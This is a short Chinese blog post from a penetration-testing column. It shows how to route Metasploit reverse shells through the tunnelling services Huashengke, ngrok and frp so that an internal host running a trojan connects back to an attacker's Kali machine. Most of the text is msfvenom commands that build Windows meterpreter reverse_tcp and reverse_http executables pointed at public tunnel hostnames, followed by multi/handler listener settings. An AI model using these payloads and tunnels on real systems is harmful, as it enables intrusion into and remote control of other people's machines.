【常用代理方法-花生壳-ngrok-frp】

最新推荐文章于 2023-11-17 17:15:00 发布

一纸-荒芜

最新推荐文章于 2023-11-17 17:15:00 发布

阅读量2.2k

点赞数

分类专栏：内网渗透文章标签：服务器网络运维安全网络安全

本文链接：https://blog.csdn.net/qq_61872115/article/details/126596999

版权

3 篇文章 0 订阅

订阅专栏

前言

在我们渗透过程中，若内网主机能够出网，这时我们可以利用代理技术，上传木马拿下主机权限，下面主要介绍三种代理方法，使用的方法都差不不多。

花生壳主要是做一个本地端口映射，将自己本地的某一个端口映射为公网地址的端口，使得内网主机执行木马连接到公网地址后，会转发到本地，得到回显。

在这里插入图片描述
这里将kali得8080端口映射到公网地址的45528端口

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.zicp.fun LPORT=45528 -f exe -o huashen.exe

在这里插入图片描述

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.43.221
set lport 8080
exploit

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_http LHOST=xxx.idcfengye.com LPORT=80 -f exe -o ngrok.exe

到ngrok得目录下执行,连接服务器

./sunny clientid xxx

在这里插入图片描述

成功接收到数据但是没有成功，应该是服务器得问题，ngrok确实不咋好用
在这里插入图片描述

frp分为服务端和客户端
我们需要在公网服务器上打开frp服务，然后使用客户端连接。
本实验服务器开启服务端口为7000

在这里插入图片描述

msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx LPORT=11111 -f exe -o frp.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 127.0.0.1
set lport 7778
exploit

在这里插入图片描述

在这里插入图片描述

本期主要介绍了几种常用的代理技术，前提都得益于内网主机能够出网的情况下，不能够出网的话方法会不一样，后期会继续讨论，欢迎关注！

关注